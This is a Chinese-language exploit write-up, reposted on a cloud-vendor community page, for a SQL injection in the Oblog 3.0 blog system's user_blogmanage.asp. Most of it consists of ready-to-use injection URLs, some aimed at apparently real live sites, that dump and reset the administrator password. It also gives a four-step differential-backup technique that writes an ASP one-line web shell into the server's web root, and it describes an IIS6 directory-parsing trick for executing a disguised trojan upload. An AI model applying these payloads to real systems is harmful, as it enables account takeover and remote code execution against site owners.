O-blog漏洞暴光_漏洞研究

來源:互聯網
上載者:User
ps:鬱悶納,一個整形變數,為什麼不做一強制轉換呢! 

     看過第六輪黑防實驗室的兩位大俠對Oblog3.0 Access版本的滲透過程,敬佩之情猶如滔滔江水連綿不絕,又如黃河之水一發而不可收拾,尤其是他們把社交工程學原理利用得淋漓盡致,以及巧妙的後台上傳shell的方法。佩服,佩服。說了這麼多廢話,我們進入正題,本人在通讀Oblog3.0代碼的時候發現user_blogmanage.asp檔案存在安全隱患,看看下面移動blog日誌的作業碼: 
sub moveblog() 
if id="" then 
Oblog.adderrstr("請指定要移動的日誌") 
Oblog.showusererr 
exit sub 
end if 
dim subjectid 
subjectid=trim(request("subject")) 
if subjectid="" then 
Oblog.adderrstr("請指定要移動的目標專題") 
Oblog.showusererr 
exit sub 
else 
subjectid=Clng(subjectid) 
end if 
if instr(id,",")>0 then 
‘如果id變數中含有逗號,去掉變數中的空格,執行下面的sql語句。設為第一條 
id=replace(id," ","") 
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql 
‘否則執行這個sql語句,設為第二條。 
else 
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql 
end if 
Oblog.Execute sql 
dim blog,rs1 
set blog=new class_blog 
blog.userid=Oblog.logined_uid 
blog.update_allsubjectid() 
blog.update_index_subject 0,0,0,"" 
set blog=nothing 
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid) 
while not rs.eof 
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0)) 
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0)) 
rs.movenext 
wend 
set rs=nothing 
set rs1=nothing 
Oblog.showok "更新專題成功,需要重新發布首頁,才可使專題統計準確!","" 
end sub 

再看看檔案最上面對id變數的過濾:id=Oblog.filt_badstr(trim(Request("id"))),只用了這條語句,函數代碼如下: 
public function filt_badstr(str) 
If Isnull(Str) Then 
filt_badstr = "" 
Exit Function  
End If 
Str = Replace(Str,Chr(0),"") 
filt_badstr = Replace(Str,"'","''") 
end function 
只去掉了\0和單引號,呵呵,這怎能阻止我們的注入攻擊呢,找個使用Oblog3.0 SQL版本的網站牛刀小試一下:構造環境測試語句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意語句最後面的”'”,否則不會成功的。 
以上注入我們選擇的是第一條語句,多了限制條件,就是不能使用空格且提交的語句中要含有逗號。我們可以使用/**/來代替空格。由於限制條件多,以下測試中我們控製程序執行第二條語句。進一步環境刺探: 
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。 
嘿嘿,測試成功,由於注入語句中不能包含單引號,身經百戰的我們當然很容易饒過這條限制,我喜歡使用SQL中的char函數饒過,正好手頭有研究動易系統時寫的char編碼工具,先看看Oblog資料庫的表結構,在Oblog_admin表中我們感興趣的只有id,username和password欄位,先暴出admin使用者或者id唯一的管理員帳號的密碼來瞧瞧: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))-- 
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是對提交的admin使用char函數的編碼。返回結果。 
我們先記下這個加密的字串,在恢複管理員密碼的時候需要再次使用。修改後台管理員的密碼: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1-- 
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)% 2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63) %2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) 是469e80d32c0559f8字串的編碼,469e80d32c0559f8對應的md5明文為admin888,對字串的編碼可以使用如下的工具。 
當然大家也一定都有比著更好的工具。這樣我們就將後台id為1的管理員的密碼修改為admin888了,注意id為1的管理員對應的帳號預設為admin如果你不確定,可以使用如下的語句查看: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)— 
修改完畢,登入一下後台看看是否成功修改管理員密碼。good,我們已經拿到了後台系統管理權限了,爽哉。不要高興的太早了,雖然我們進入了後台但是SQL版本不同於Access版本,前期兩位大俠介紹的通過備份資料庫擷取WebShell的方法在SQL版本上是行不通的,看看 admin_database.asp的如下代碼大家就明白了: 
dim dbpath 
dim ObjInstalled 
if not IsObject(conn) then link_database 
if is_sqldata=0 then dbpath=server.mappath(db) 
如果使用的是Access版本才初始化dbpath參數的。 
在這裡我給大家介紹幾種SQL版本擷取WebShell的方法。 
先說說第一種比較通用的方法吧,利用SQL SERVER的特性,方法有通過xp_cmdshell,利用OLE對象介面,利用sp_makeWebtask,通過增量備份等等的方法。利用這些方法的一個必要的條件:Web實體路徑我們可以從背景管理首頁中輕鬆擷取。關於具體注入語句大家可以參看uploadshell.exe中的相關代碼。在實現中注意處理掉其中的單引號。程式可以自動擷取IE中的cookie資訊。故無須填寫cookie資訊。 
關於利用後台功能上傳shell,確實把我難為了半天,想得頭都大了,剛開始方法是天使娃娃他們的想法是一樣的添加個shtm上傳檔案類型,將conn.asp包含進去,這樣只能看到資料庫連接資訊,如果對方裝有防火牆或者許可權不很高的話也不能擷取shell,後來就想出添加aaspsp/和asp/上傳檔案類型,這樣通過修改資料包提示上傳成功,但是卻沒有真的上傳成功了,很是鬱悶。假期期間,也沒有那麼多時間去尋找原因了,這時候忽然看到了在後台可以設定使用者目錄的,這時候突然記得網上曾經流傳著對於windows2003系統和IIS6.0假設的Web平台有個特性,就是**.asp虛擬目錄下的任何副檔名的檔案都會被作為asp檔案被解釋執行的,想到這裡差點興奮的跳起來,嘿嘿。請看操作:在後台常規設定|使用者目錄管理中建立一個**.asp的目錄。並將這個目錄設定成為預設的目錄,如上圖所示。然後到網站去註冊一個新的使用者,然後進入管理中心,選擇相簿,上傳一個asp木馬的假gif檔案。這樣當我們訪問這個gif檔案的時候IIS會將此檔案作為asp檔案解析,我在本機使用Access版本做了測試發現能夠把檔案上傳上去。但是在對SQL版本測試時發現並不能正確上傳檔案到這個目錄的,出現如下的錯誤資訊: 
ADODB.Stream 錯誤 '800a0bbc'  
寫入檔案失敗。  
/inc/Upload.inc,行 312  
雖然不能成功,但這卻是我們後台上傳木馬的好方法,因為大部分asp整站程式在後台都允許後台修改上傳目錄的,比如動易系統等。沒辦法,我們只能使用第一種方法了,開工。 
第一步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s-- 
注意了,在語句中一定不能含有單引號的, 
第二步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])— 
第三步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)— 
注意其中0x3C25657865637574652872657175657374282261222929253E為 
第四步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL— 
其中的 0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000 是在後台得到的Web的實體路徑。 

利用增量備份只需要public的許可權,應該是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感覺操作很複雜,那就不需要上傳WebShell了,進後台把自己的帳號修改為VIP使用者,或者將上傳空間修改為100000000KB,把blog當作一個網路優盤也不錯的,呵呵。由於Oblog在互連網上的風靡,漏洞危害性很大,大家不要亂搞破壞哦。  

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.